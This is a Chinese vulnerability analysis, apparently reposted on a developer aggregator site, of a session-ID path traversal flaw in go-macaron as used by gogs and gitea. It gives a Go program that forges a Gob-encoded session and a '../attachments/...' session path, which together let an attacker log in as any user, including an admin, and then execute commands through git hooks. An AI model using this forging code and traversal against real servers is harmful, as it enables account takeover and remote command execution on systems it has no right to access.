内容简介:由于两个代码管理平台均使用了go-macaron作为web框架, 而go-macaron中的session插件并没有对sessionid进行过滤, 从而导致了可以使用任意文件作为session的bug, 登陆其他任意账号.P.S. 其实这个影响范围可以扩展到使用了go-macaron框架, 且存在文件上传的任何一个web应用中.攻击者可登陆任意账号包括管理员账号,同时可利用git hooks执行任意命令,同时存在严重的越权和命令执行问题。
漏洞成因
由于两个代码管理平台均使用了go-macaron作为web框架, 而go-macaron中的session插件并没有对sessionid进行过滤, 从而导致了可以使用任意文件作为session的bug, 登陆其他任意账号.
P.S. 其实这个影响范围可以扩展到使用了go-macaron框架, 且存在文件上传的任何一个web应用中.
影响
攻击者可登陆任意账号包括管理员账号,同时可利用git hooks执行任意命令,同时存在严重的越权和命令执行问题。
分析
在gogs及gitea中均使用了go-macaron作为web框架, 也都使用了其中的session插件, 但是在go-macaron的session插件中, 并没有对cookie中传入的session ID做任何的过滤.
在gogs及gitea的默认配置中, 均使用了文件用于保存session, 而没有过滤 ../
, ./
等关键词给我们一个将任意文件作为session文件的机会.
// Read returns raw session store by session ID. func (m *Manager) Read(sid string) (RawStore, error) { return m.provider.Read(sid) }
func (p *FileProvider) filepath(sid string) string { return path.Join(p.rootPath, string(sid[0]), string(sid[1]), sid) } func (p *FileProvider) Read(sid string) (_ RawStore, err error) { filename := p.filepath(sid) if err = os.MkdirAll(path.Dir(filename), 0700); err != nil { return nil, err } p.lock.RLock() defer p.lock.RUnlock() var f *os.File if com.IsFile(filename) { f, err = os.OpenFile(filename, os.O_RDONLY, 0600) } else { f, err = os.Create(filename) } if err != nil { return nil, err } defer f.Close() if err = os.Chtimes(filename, time.Now(), time.Now()); err != nil { return nil, err } var kv map[interface{}]interface{} data, err := ioutil.ReadAll(f) if err != nil { return nil, err } if len(data) == 0 { kv = make(map[interface{}]interface{}) } else { kv, err = DecodeGob(data) if err != nil { return nil, err } } return NewFileStore(p, sid, kv), nil }
这里, 我们以gogs为例, 进行一次测试.
首先, 对于每个用户, 我们都可以创建仓库, 通过release功能可以上传任意内容可控的文件, 从而为我们伪造session文件提供了条件.
通过explore功能, 我们能找到很多用户的仓库, 进入某用户的用户资料页面, 我们可以得到构造该用户session的所有需要的资料(uid, username).
通过上方file.go的代码, 我们发现, session文件的内容为Gob编码方式, 这里借鉴一下P神写的生成session的代码
package main import ( "bytes" "encoding/gob" "encoding/hex" "fmt" "io/ioutil" "os" ) func EncodeGob(obj map[interface{}]interface{}) ([]byte, error) { for _, v := range obj { gob.Register(v) } buf := bytes.NewBuffer(nil) err := gob.NewEncoder(buf).Encode(obj) return buf.Bytes(), err } func main() { var uid int64 = 1 obj := map[interface{}]interface{}{"_old_uid": "1", "uid": uid, "uname": "sockls"} data, err := EncodeGob(obj) if err != nil { fmt.Println(err) } err = ioutil.WriteFile("test.png", data, os.O_CREATE|os.O_WRONLY) if err != nil { fmt.Println(err) } edata := hex.EncodeToString(data) fmt.Println(edata) }
由此, 我们可以生成一段session, 通过每个用户均可使用的release上传功能, 我们将我们伪造的session上传至服务器.
对于默认配置的gogs,
release中文件存放的目录结构是, attachments/fid[0]/fid[1]/fid
.
session存放的目录结构是, sessions/sid[0]/sid[1]/sid
.
此外sessions与attachments文件夹均存放在相同的data文件夹下.
由于gogs会将session分段, 构造成最终的路径后再进行读取, 而attachments与session在同一文件夹下, 修改session为我们刚刚上传的文件的路径, 即 ../attachments/1/7/17f4120b-1a0d-416a-b0b0-def4342ded5b
, 读取session的函数将路径解析为 sessions/././../attachments/1/7/17f4120b-1a0d-416a-b0b0-def4342ded5b
也就是我们上传的那个文件, 从而完成了任意用户登陆.
通过仓库的git hook也可以完成命令执行.
此外如果我们通过explore中找到的用户刚好为管理员用户, 则可以使用管理员面板.
修复方式
更新至最新版.
参考资料
以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网
猜你喜欢:- Hive 底层执行流程
- 聊聊 Hystrix 命令执行流程
- 聊聊 Hystrix 命令执行流程
- MyBatis执行流程的各阶段介绍
- Lararel 框架执行流程详解(1) 入口文件
- MyBatis 源码解析(二):SqlSession 执行流程
本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
一个APP的诞生
Carol 炒炒、刘焯琛 / 电子工业出版社 / 2016-7-1 / 79
在移动互联网高度发达的今天,一个个APP,成为我们通向网络世界的窗口。它的诞生流程,令不少对互联网世界产生幻想甚至试图投身其中的年轻人充满了好奇。 《一个APP 的诞生》就是这样一步一步拆分一个APP 的诞生过程。从前期市场调研,竞品分析开始,一直到设计规范,界面图标,设计基础,流程管理,开发实现,市场推广,服务设计,甚至跨界融合,都有陈述。 《一个APP 的诞生》被定义是一本教科书,......一起来看看 《一个APP的诞生》 这本书的介绍吧!
JS 压缩/解压工具
在线压缩/解压 JS 代码
MD5 加密
MD5 加密工具